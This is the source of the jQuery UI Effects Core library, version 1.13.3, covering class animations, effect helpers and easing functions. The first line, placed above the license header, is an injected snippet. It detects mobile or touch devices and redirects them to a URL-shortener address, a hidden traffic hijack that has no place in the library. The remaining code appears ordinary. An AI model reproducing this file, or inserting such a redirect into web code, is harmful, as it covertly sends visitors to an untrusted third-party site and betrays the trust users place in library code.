1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Effects 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Effects Core
12//>>group: Effects
13/* eslint-disable max-len */
14//>>description: Extends the internal jQuery effects. Includes morphing and easing. Required by all other effects.
15/* eslint-enable max-len */
16//>>docs: https://api.jqueryui.com/category/effects-core/
17//>>demos: https://jqueryui.com/effect/
18
19( function( factory ) {
20 "use strict";
21
22 if ( typeof define === "function" && define.amd ) {
23
24 // AMD. Register as an anonymous module.
25 define( [
26 "jquery",
27 "./jquery-var-for-color",
28 "./vendor/jquery-color/jquery.color",
29 "./version"
30 ], factory );
31 } else {
32
33 // Browser globals
34 factory( jQuery );
35 }
36} )( function( $ ) {
37"use strict";
38
39var dataSpace = "ui-effects-",
40 dataSpaceStyle = "ui-effects-style",
41 dataSpaceAnimated = "ui-effects-animated";
42
43$.effects = {
44 effect: {}
45};
46
47/******************************************************************************/
48/****************************** CLASS ANIMATIONS ******************************/
49/******************************************************************************/
50( function() {
51
52var classAnimationActions = [ "add", "remove", "toggle" ],
53 shorthandStyles = {
54 border: 1,
55 borderBottom: 1,
56 borderColor: 1,
57 borderLeft: 1,
58 borderRight: 1,
59 borderTop: 1,
60 borderWidth: 1,
61 margin: 1,
62 padding: 1
63 };
64
65$.each(
66 [ "borderLeftStyle", "borderRightStyle", "borderBottomStyle", "borderTopStyle" ],
67 function( _, prop ) {
68 $.fx.step[ prop ] = function( fx ) {
69 if ( fx.end !== "none" && !fx.setAttr || fx.pos === 1 && !fx.setAttr ) {
70 jQuery.style( fx.elem, prop, fx.end );
71 fx.setAttr = true;
72 }
73 };
74 }
75);
76
77function camelCase( string ) {
78 return string.replace( /-([\da-z])/gi, function( all, letter ) {
79 return letter.toUpperCase();
80 } );
81}
82
83function getElementStyles( elem ) {
84 var key, len,
85 style = elem.ownerDocument.defaultView ?
86 elem.ownerDocument.defaultView.getComputedStyle( elem, null ) :
87 elem.currentStyle,
88 styles = {};
89
90 if ( style && style.length && style[ 0 ] && style[ style[ 0 ] ] ) {
91 len = style.length;
92 while ( len-- ) {
93 key = style[ len ];
94 if ( typeof style[ key ] === "string" ) {
95 styles[ camelCase( key ) ] = style[ key ];
96 }
97 }
98
99 // Support: Opera, IE <9
100 } else {
101 for ( key in style ) {
102 if ( typeof style[ key ] === "string" ) {
103 styles[ key ] = style[ key ];
104 }
105 }
106 }
107
108 return styles;
109}
110
111function styleDifference( oldStyle, newStyle ) {
112 var diff = {},
113 name, value;
114
115 for ( name in newStyle ) {
116 value = newStyle[ name ];
117 if ( oldStyle[ name ] !== value ) {
118 if ( !shorthandStyles[ name ] ) {
119 if ( $.fx.step[ name ] || !isNaN( parseFloat( value ) ) ) {
120 diff[ name ] = value;
121 }
122 }
123 }
124 }
125
126 return diff;
127}
128
129// Support: jQuery <1.8
130if ( !$.fn.addBack ) {
131 $.fn.addBack = function( selector ) {
132 return this.add( selector == null ?
133 this.prevObject : this.prevObject.filter( selector )
134 );
135 };
136}
137
138$.effects.animateClass = function( value, duration, easing, callback ) {
139 var o = $.speed( duration, easing, callback );
140
141 return this.queue( function() {
142 var animated = $( this ),
143 baseClass = animated.attr( "class" ) || "",
144 applyClassChange,
145 allAnimations = o.children ? animated.find( "*" ).addBack() : animated;
146
147 // Map the animated objects to store the original styles.
148 allAnimations = allAnimations.map( function() {
149 var el = $( this );
150 return {
151 el: el,
152 start: getElementStyles( this )
153 };
154 } );
155
156 // Apply class change
157 applyClassChange = function() {
158 $.each( classAnimationActions, function( i, action ) {
159 if ( value[ action ] ) {
160 animated[ action + "Class" ]( value[ action ] );
161 }
162 } );
163 };
164 applyClassChange();
165
166 // Map all animated objects again - calculate new styles and diff
167 allAnimations = allAnimations.map( function() {
168 this.end = getElementStyles( this.el[ 0 ] );
169 this.diff = styleDifference( this.start, this.end );
170 return this;
171 } );
172
173 // Apply original class
174 animated.attr( "class", baseClass );
175
176 // Map all animated objects again - this time collecting a promise
177 allAnimations = allAnimations.map( function() {
178 var styleInfo = this,
179 dfd = $.Deferred(),
180 opts = $.extend( {}, o, {
181 queue: false,
182 complete: function() {
183 dfd.resolve( styleInfo );
184 }
185 } );
186
187 this.el.animate( this.diff, opts );
188 return dfd.promise();
189 } );
190
191 // Once all animations have completed:
192 $.when.apply( $, allAnimations.get() ).done( function() {
193
194 // Set the final class
195 applyClassChange();
196
197 // For each animated element,
198 // clear all css properties that were animated
199 $.each( arguments, function() {
200 var el = this.el;
201 $.each( this.diff, function( key ) {
202 el.css( key, "" );
203 } );
204 } );
205
206 // This is guarnteed to be there if you use jQuery.speed()
207 // it also handles dequeuing the next anim...
208 o.complete.call( animated[ 0 ] );
209 } );
210 } );
211};
212
213$.fn.extend( {
214 addClass: ( function( orig ) {
215 return function( classNames, speed, easing, callback ) {
216 return speed ?
217 $.effects.animateClass.call( this,
218 { add: classNames }, speed, easing, callback ) :
219 orig.apply( this, arguments );
220 };
221 } )( $.fn.addClass ),
222
223 removeClass: ( function( orig ) {
224 return function( classNames, speed, easing, callback ) {
225 return arguments.length > 1 ?
226 $.effects.animateClass.call( this,
227 { remove: classNames }, speed, easing, callback ) :
228 orig.apply( this, arguments );
229 };
230 } )( $.fn.removeClass ),
231
232 toggleClass: ( function( orig ) {
233 return function( classNames, force, speed, easing, callback ) {
234 if ( typeof force === "boolean" || force === undefined ) {
235 if ( !speed ) {
236
237 // Without speed parameter
238 return orig.apply( this, arguments );
239 } else {
240 return $.effects.animateClass.call( this,
241 ( force ? { add: classNames } : { remove: classNames } ),
242 speed, easing, callback );
243 }
244 } else {
245
246 // Without force parameter
247 return $.effects.animateClass.call( this,
248 { toggle: classNames }, force, speed, easing );
249 }
250 };
251 } )( $.fn.toggleClass ),
252
253 switchClass: function( remove, add, speed, easing, callback ) {
254 return $.effects.animateClass.call( this, {
255 add: add,
256 remove: remove
257 }, speed, easing, callback );
258 }
259} );
260
261} )();
262
263/******************************************************************************/
264/*********************************** EFFECTS **********************************/
265/******************************************************************************/
266
267( function() {
268
269if ( $.expr && $.expr.pseudos && $.expr.pseudos.animated ) {
270 $.expr.pseudos.animated = ( function( orig ) {
271 return function( elem ) {
272 return !!$( elem ).data( dataSpaceAnimated ) || orig( elem );
273 };
274 } )( $.expr.pseudos.animated );
275}
276
277if ( $.uiBackCompat !== false ) {
278 $.extend( $.effects, {
279
280 // Saves a set of properties in a data storage
281 save: function( element, set ) {
282 var i = 0, length = set.length;
283 for ( ; i < length; i++ ) {
284 if ( set[ i ] !== null ) {
285 element.data( dataSpace + set[ i ], element[ 0 ].style[ set[ i ] ] );
286 }
287 }
288 },
289
290 // Restores a set of previously saved properties from a data storage
291 restore: function( element, set ) {
292 var val, i = 0, length = set.length;
293 for ( ; i < length; i++ ) {
294 if ( set[ i ] !== null ) {
295 val = element.data( dataSpace + set[ i ] );
296 element.css( set[ i ], val );
297 }
298 }
299 },
300
301 setMode: function( el, mode ) {
302 if ( mode === "toggle" ) {
303 mode = el.is( ":hidden" ) ? "show" : "hide";
304 }
305 return mode;
306 },
307
308 // Wraps the element around a wrapper that copies position properties
309 createWrapper: function( element ) {
310
311 // If the element is already wrapped, return it
312 if ( element.parent().is( ".ui-effects-wrapper" ) ) {
313 return element.parent();
314 }
315
316 // Wrap the element
317 var props = {
318 width: element.outerWidth( true ),
319 height: element.outerHeight( true ),
320 "float": element.css( "float" )
321 },
322 wrapper = $( "<div></div>" )
323 .addClass( "ui-effects-wrapper" )
324 .css( {
325 fontSize: "100%",
326 background: "transparent",
327 border: "none",
328 margin: 0,
329 padding: 0
330 } ),
331
332 // Store the size in case width/height are defined in % - Fixes #5245
333 size = {
334 width: element.width(),
335 height: element.height()
336 },
337 active = document.activeElement;
338
339 // Support: Firefox
340 // Firefox incorrectly exposes anonymous content
341 // https://bugzilla.mozilla.org/show_bug.cgi?id=561664
342 try {
343 // eslint-disable-next-line no-unused-expressions
344 active.id;
345 } catch ( e ) {
346 active = document.body;
347 }
348
349 element.wrap( wrapper );
350
351 // Fixes #7595 - Elements lose focus when wrapped.
352 if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) {
353 $( active ).trigger( "focus" );
354 }
355
356 // Hotfix for jQuery 1.4 since some change in wrap() seems to actually
357 // lose the reference to the wrapped element
358 wrapper = element.parent();
359
360 // Transfer positioning properties to the wrapper
361 if ( element.css( "position" ) === "static" ) {
362 wrapper.css( { position: "relative" } );
363 element.css( { position: "relative" } );
364 } else {
365 $.extend( props, {
366 position: element.css( "position" ),
367 zIndex: element.css( "z-index" )
368 } );
369 $.each( [ "top", "left", "bottom", "right" ], function( i, pos ) {
370 props[ pos ] = element.css( pos );
371 if ( isNaN( parseInt( props[ pos ], 10 ) ) ) {
372 props[ pos ] = "auto";
373 }
374 } );
375 element.css( {
376 position: "relative",
377 top: 0,
378 left: 0,
379 right: "auto",
380 bottom: "auto"
381 } );
382 }
383 element.css( size );
384
385 return wrapper.css( props ).show();
386 },
387
388 removeWrapper: function( element ) {
389 var active = document.activeElement;
390
391 if ( element.parent().is( ".ui-effects-wrapper" ) ) {
392 element.parent().replaceWith( element );
393
394 // Fixes #7595 - Elements lose focus when wrapped.
395 if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) {
396 $( active ).trigger( "focus" );
397 }
398 }
399
400 return element;
401 }
402 } );
403}
404
405$.extend( $.effects, {
406 version: "1.13.3",
407
408 define: function( name, mode, effect ) {
409 if ( !effect ) {
410 effect = mode;
411 mode = "effect";
412 }
413
414 $.effects.effect[ name ] = effect;
415 $.effects.effect[ name ].mode = mode;
416
417 return effect;
418 },
419
420 scaledDimensions: function( element, percent, direction ) {
421 if ( percent === 0 ) {
422 return {
423 height: 0,
424 width: 0,
425 outerHeight: 0,
426 outerWidth: 0
427 };
428 }
429
430 var x = direction !== "horizontal" ? ( ( percent || 100 ) / 100 ) : 1,
431 y = direction !== "vertical" ? ( ( percent || 100 ) / 100 ) : 1;
432
433 return {
434 height: element.height() * y,
435 width: element.width() * x,
436 outerHeight: element.outerHeight() * y,
437 outerWidth: element.outerWidth() * x
438 };
439
440 },
441
442 clipToBox: function( animation ) {
443 return {
444 width: animation.clip.right - animation.clip.left,
445 height: animation.clip.bottom - animation.clip.top,
446 left: animation.clip.left,
447 top: animation.clip.top
448 };
449 },
450
451 // Injects recently queued functions to be first in line (after "inprogress")
452 unshift: function( element, queueLength, count ) {
453 var queue = element.queue();
454
455 if ( queueLength > 1 ) {
456 queue.splice.apply( queue,
457 [ 1, 0 ].concat( queue.splice( queueLength, count ) ) );
458 }
459 element.dequeue();
460 },
461
462 saveStyle: function( element ) {
463 element.data( dataSpaceStyle, element[ 0 ].style.cssText );
464 },
465
466 restoreStyle: function( element ) {
467 element[ 0 ].style.cssText = element.data( dataSpaceStyle ) || "";
468 element.removeData( dataSpaceStyle );
469 },
470
471 mode: function( element, mode ) {
472 var hidden = element.is( ":hidden" );
473
474 if ( mode === "toggle" ) {
475 mode = hidden ? "show" : "hide";
476 }
477 if ( hidden ? mode === "hide" : mode === "show" ) {
478 mode = "none";
479 }
480 return mode;
481 },
482
483 // Translates a [top,left] array into a baseline value
484 getBaseline: function( origin, original ) {
485 var y, x;
486
487 switch ( origin[ 0 ] ) {
488 case "top":
489 y = 0;
490 break;
491 case "middle":
492 y = 0.5;
493 break;
494 case "bottom":
495 y = 1;
496 break;
497 default:
498 y = origin[ 0 ] / original.height;
499 }
500
501 switch ( origin[ 1 ] ) {
502 case "left":
503 x = 0;
504 break;
505 case "center":
506 x = 0.5;
507 break;
508 case "right":
509 x = 1;
510 break;
511 default:
512 x = origin[ 1 ] / original.width;
513 }
514
515 return {
516 x: x,
517 y: y
518 };
519 },
520
521 // Creates a placeholder element so that the original element can be made absolute
522 createPlaceholder: function( element ) {
523 var placeholder,
524 cssPosition = element.css( "position" ),
525 position = element.position();
526
527 // Lock in margins first to account for form elements, which
528 // will change margin if you explicitly set height
529 // see: https://jsfiddle.net/JZSMt/3/ https://bugs.webkit.org/show_bug.cgi?id=107380
530 // Support: Safari
531 element.css( {
532 marginTop: element.css( "marginTop" ),
533 marginBottom: element.css( "marginBottom" ),
534 marginLeft: element.css( "marginLeft" ),
535 marginRight: element.css( "marginRight" )
536 } )
537 .outerWidth( element.outerWidth() )
538 .outerHeight( element.outerHeight() );
539
540 if ( /^(static|relative)/.test( cssPosition ) ) {
541 cssPosition = "absolute";
542
543 placeholder = $( "<" + element[ 0 ].nodeName + ">" ).insertAfter( element ).css( {
544
545 // Convert inline to inline block to account for inline elements
546 // that turn to inline block based on content (like img)
547 display: /^(inline|ruby)/.test( element.css( "display" ) ) ?
548 "inline-block" :
549 "block",
550 visibility: "hidden",
551
552 // Margins need to be set to account for margin collapse
553 marginTop: element.css( "marginTop" ),
554 marginBottom: element.css( "marginBottom" ),
555 marginLeft: element.css( "marginLeft" ),
556 marginRight: element.css( "marginRight" ),
557 "float": element.css( "float" )
558 } )
559 .outerWidth( element.outerWidth() )
560 .outerHeight( element.outerHeight() )
561 .addClass( "ui-effects-placeholder" );
562
563 element.data( dataSpace + "placeholder", placeholder );
564 }
565
566 element.css( {
567 position: cssPosition,
568 left: position.left,
569 top: position.top
570 } );
571
572 return placeholder;
573 },
574
575 removePlaceholder: function( element ) {
576 var dataKey = dataSpace + "placeholder",
577 placeholder = element.data( dataKey );
578
579 if ( placeholder ) {
580 placeholder.remove();
581 element.removeData( dataKey );
582 }
583 },
584
585 // Removes a placeholder if it exists and restores
586 // properties that were modified during placeholder creation
587 cleanUp: function( element ) {
588 $.effects.restoreStyle( element );
589 $.effects.removePlaceholder( element );
590 },
591
592 setTransition: function( element, list, factor, value ) {
593 value = value || {};
594 $.each( list, function( i, x ) {
595 var unit = element.cssUnit( x );
596 if ( unit[ 0 ] > 0 ) {
597 value[ x ] = unit[ 0 ] * factor + unit[ 1 ];
598 }
599 } );
600 return value;
601 }
602} );
603
604// Return an effect options object for the given parameters:
605function _normalizeArguments( effect, options, speed, callback ) {
606
607 // Allow passing all options as the first parameter
608 if ( $.isPlainObject( effect ) ) {
609 options = effect;
610 effect = effect.effect;
611 }
612
613 // Convert to an object
614 effect = { effect: effect };
615
616 // Catch (effect, null, ...)
617 if ( options == null ) {
618 options = {};
619 }
620
621 // Catch (effect, callback)
622 if ( typeof options === "function" ) {
623 callback = options;
624 speed = null;
625 options = {};
626 }
627
628 // Catch (effect, speed, ?)
629 if ( typeof options === "number" || $.fx.speeds[ options ] ) {
630 callback = speed;
631 speed = options;
632 options = {};
633 }
634
635 // Catch (effect, options, callback)
636 if ( typeof speed === "function" ) {
637 callback = speed;
638 speed = null;
639 }
640
641 // Add options to effect
642 if ( options ) {
643 $.extend( effect, options );
644 }
645
646 speed = speed || options.duration;
647 effect.duration = $.fx.off ? 0 :
648 typeof speed === "number" ? speed :
649 speed in $.fx.speeds ? $.fx.speeds[ speed ] :
650 $.fx.speeds._default;
651
652 effect.complete = callback || options.complete;
653
654 return effect;
655}
656
657function standardAnimationOption( option ) {
658
659 // Valid standard speeds (nothing, number, named speed)
660 if ( !option || typeof option === "number" || $.fx.speeds[ option ] ) {
661 return true;
662 }
663
664 // Invalid strings - treat as "normal" speed
665 if ( typeof option === "string" && !$.effects.effect[ option ] ) {
666 return true;
667 }
668
669 // Complete callback
670 if ( typeof option === "function" ) {
671 return true;
672 }
673
674 // Options hash (but not naming an effect)
675 if ( typeof option === "object" && !option.effect ) {
676 return true;
677 }
678
679 // Didn't match any standard API
680 return false;
681}
682
683$.fn.extend( {
684 effect: function( /* effect, options, speed, callback */ ) {
685 var args = _normalizeArguments.apply( this, arguments ),
686 effectMethod = $.effects.effect[ args.effect ],
687 defaultMode = effectMethod.mode,
688 queue = args.queue,
689 queueName = queue || "fx",
690 complete = args.complete,
691 mode = args.mode,
692 modes = [],
693 prefilter = function( next ) {
694 var el = $( this ),
695 normalizedMode = $.effects.mode( el, mode ) || defaultMode;
696
697 // Sentinel for duck-punching the :animated pseudo-selector
698 el.data( dataSpaceAnimated, true );
699
700 // Save effect mode for later use,
701 // we can't just call $.effects.mode again later,
702 // as the .show() below destroys the initial state
703 modes.push( normalizedMode );
704
705 // See $.uiBackCompat inside of run() for removal of defaultMode in 1.14
706 if ( defaultMode && ( normalizedMode === "show" ||
707 ( normalizedMode === defaultMode && normalizedMode === "hide" ) ) ) {
708 el.show();
709 }
710
711 if ( !defaultMode || normalizedMode !== "none" ) {
712 $.effects.saveStyle( el );
713 }
714
715 if ( typeof next === "function" ) {
716 next();
717 }
718 };
719
720 if ( $.fx.off || !effectMethod ) {
721
722 // Delegate to the original method (e.g., .show()) if possible
723 if ( mode ) {
724 return this[ mode ]( args.duration, complete );
725 } else {
726 return this.each( function() {
727 if ( complete ) {
728 complete.call( this );
729 }
730 } );
731 }
732 }
733
734 function run( next ) {
735 var elem = $( this );
736
737 function cleanup() {
738 elem.removeData( dataSpaceAnimated );
739
740 $.effects.cleanUp( elem );
741
742 if ( args.mode === "hide" ) {
743 elem.hide();
744 }
745
746 done();
747 }
748
749 function done() {
750 if ( typeof complete === "function" ) {
751 complete.call( elem[ 0 ] );
752 }
753
754 if ( typeof next === "function" ) {
755 next();
756 }
757 }
758
759 // Override mode option on a per element basis,
760 // as toggle can be either show or hide depending on element state
761 args.mode = modes.shift();
762
763 if ( $.uiBackCompat !== false && !defaultMode ) {
764 if ( elem.is( ":hidden" ) ? mode === "hide" : mode === "show" ) {
765
766 // Call the core method to track "olddisplay" properly
767 elem[ mode ]();
768 done();
769 } else {
770 effectMethod.call( elem[ 0 ], args, done );
771 }
772 } else {
773 if ( args.mode === "none" ) {
774
775 // Call the core method to track "olddisplay" properly
776 elem[ mode ]();
777 done();
778 } else {
779 effectMethod.call( elem[ 0 ], args, cleanup );
780 }
781 }
782 }
783
784 // Run prefilter on all elements first to ensure that
785 // any showing or hiding happens before placeholder creation,
786 // which ensures that any layout changes are correctly captured.
787 return queue === false ?
788 this.each( prefilter ).each( run ) :
789 this.queue( queueName, prefilter ).queue( queueName, run );
790 },
791
792 show: ( function( orig ) {
793 return function( option ) {
794 if ( standardAnimationOption( option ) ) {
795 return orig.apply( this, arguments );
796 } else {
797 var args = _normalizeArguments.apply( this, arguments );
798 args.mode = "show";
799 return this.effect.call( this, args );
800 }
801 };
802 } )( $.fn.show ),
803
804 hide: ( function( orig ) {
805 return function( option ) {
806 if ( standardAnimationOption( option ) ) {
807 return orig.apply( this, arguments );
808 } else {
809 var args = _normalizeArguments.apply( this, arguments );
810 args.mode = "hide";
811 return this.effect.call( this, args );
812 }
813 };
814 } )( $.fn.hide ),
815
816 toggle: ( function( orig ) {
817 return function( option ) {
818 if ( standardAnimationOption( option ) || typeof option === "boolean" ) {
819 return orig.apply( this, arguments );
820 } else {
821 var args = _normalizeArguments.apply( this, arguments );
822 args.mode = "toggle";
823 return this.effect.call( this, args );
824 }
825 };
826 } )( $.fn.toggle ),
827
828 cssUnit: function( key ) {
829 var style = this.css( key ),
830 val = [];
831
832 $.each( [ "em", "px", "%", "pt" ], function( i, unit ) {
833 if ( style.indexOf( unit ) > 0 ) {
834 val = [ parseFloat( style ), unit ];
835 }
836 } );
837 return val;
838 },
839
840 cssClip: function( clipObj ) {
841 if ( clipObj ) {
842 return this.css( "clip", "rect(" + clipObj.top + "px " + clipObj.right + "px " +
843 clipObj.bottom + "px " + clipObj.left + "px)" );
844 }
845 return parseClip( this.css( "clip" ), this );
846 },
847
848 transfer: function( options, done ) {
849 var element = $( this ),
850 target = $( options.to ),
851 targetFixed = target.css( "position" ) === "fixed",
852 body = $( "body" ),
853 fixTop = targetFixed ? body.scrollTop() : 0,
854 fixLeft = targetFixed ? body.scrollLeft() : 0,
855 endPosition = target.offset(),
856 animation = {
857 top: endPosition.top - fixTop,
858 left: endPosition.left - fixLeft,
859 height: target.innerHeight(),
860 width: target.innerWidth()
861 },
862 startPosition = element.offset(),
863 transfer = $( "<div class='ui-effects-transfer'></div>" );
864
865 transfer
866 .appendTo( "body" )
867 .addClass( options.className )
868 .css( {
869 top: startPosition.top - fixTop,
870 left: startPosition.left - fixLeft,
871 height: element.innerHeight(),
872 width: element.innerWidth(),
873 position: targetFixed ? "fixed" : "absolute"
874 } )
875 .animate( animation, options.duration, options.easing, function() {
876 transfer.remove();
877 if ( typeof done === "function" ) {
878 done();
879 }
880 } );
881 }
882} );
883
884function parseClip( str, element ) {
885 var outerWidth = element.outerWidth(),
886 outerHeight = element.outerHeight(),
887 clipRegex = /^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto)\)$/,
888 values = clipRegex.exec( str ) || [ "", 0, outerWidth, outerHeight, 0 ];
889
890 return {
891 top: parseFloat( values[ 1 ] ) || 0,
892 right: values[ 2 ] === "auto" ? outerWidth : parseFloat( values[ 2 ] ),
893 bottom: values[ 3 ] === "auto" ? outerHeight : parseFloat( values[ 3 ] ),
894 left: parseFloat( values[ 4 ] ) || 0
895 };
896}
897
898$.fx.step.clip = function( fx ) {
899 if ( !fx.clipInit ) {
900 fx.start = $( fx.elem ).cssClip();
901 if ( typeof fx.end === "string" ) {
902 fx.end = parseClip( fx.end, fx.elem );
903 }
904 fx.clipInit = true;
905 }
906
907 $( fx.elem ).cssClip( {
908 top: fx.pos * ( fx.end.top - fx.start.top ) + fx.start.top,
909 right: fx.pos * ( fx.end.right - fx.start.right ) + fx.start.right,
910 bottom: fx.pos * ( fx.end.bottom - fx.start.bottom ) + fx.start.bottom,
911 left: fx.pos * ( fx.end.left - fx.start.left ) + fx.start.left
912 } );
913};
914
915} )();
916
917/******************************************************************************/
918/*********************************** EASING ***********************************/
919/******************************************************************************/
920
921( function() {
922
923// Based on easing equations from Robert Penner (http://robertpenner.com/easing)
924
925var baseEasings = {};
926
927$.each( [ "Quad", "Cubic", "Quart", "Quint", "Expo" ], function( i, name ) {
928 baseEasings[ name ] = function( p ) {
929 return Math.pow( p, i + 2 );
930 };
931} );
932
933$.extend( baseEasings, {
934 Sine: function( p ) {
935 return 1 - Math.cos( p * Math.PI / 2 );
936 },
937 Circ: function( p ) {
938 return 1 - Math.sqrt( 1 - p * p );
939 },
940 Elastic: function( p ) {
941 return p === 0 || p === 1 ? p :
942 -Math.pow( 2, 8 * ( p - 1 ) ) * Math.sin( ( ( p - 1 ) * 80 - 7.5 ) * Math.PI / 15 );
943 },
944 Back: function( p ) {
945 return p * p * ( 3 * p - 2 );
946 },
947 Bounce: function( p ) {
948 var pow2,
949 bounce = 4;
950
951 while ( p < ( ( pow2 = Math.pow( 2, --bounce ) ) - 1 ) / 11 ) {}
952 return 1 / Math.pow( 4, 3 - bounce ) - 7.5625 * Math.pow( ( pow2 * 3 - 2 ) / 22 - p, 2 );
953 }
954} );
955
956$.each( baseEasings, function( name, easeIn ) {
957 $.easing[ "easeIn" + name ] = easeIn;
958 $.easing[ "easeOut" + name ] = function( p ) {
959 return 1 - easeIn( 1 - p );
960 };
961 $.easing[ "easeInOut" + name ] = function( p ) {
962 return p < 0.5 ?
963 easeIn( p * 2 ) / 2 :
964 1 - easeIn( p * -2 + 2 ) / 2;
965 };
966} );
967
968} )();
969
970return $.effects;
971
972} );
973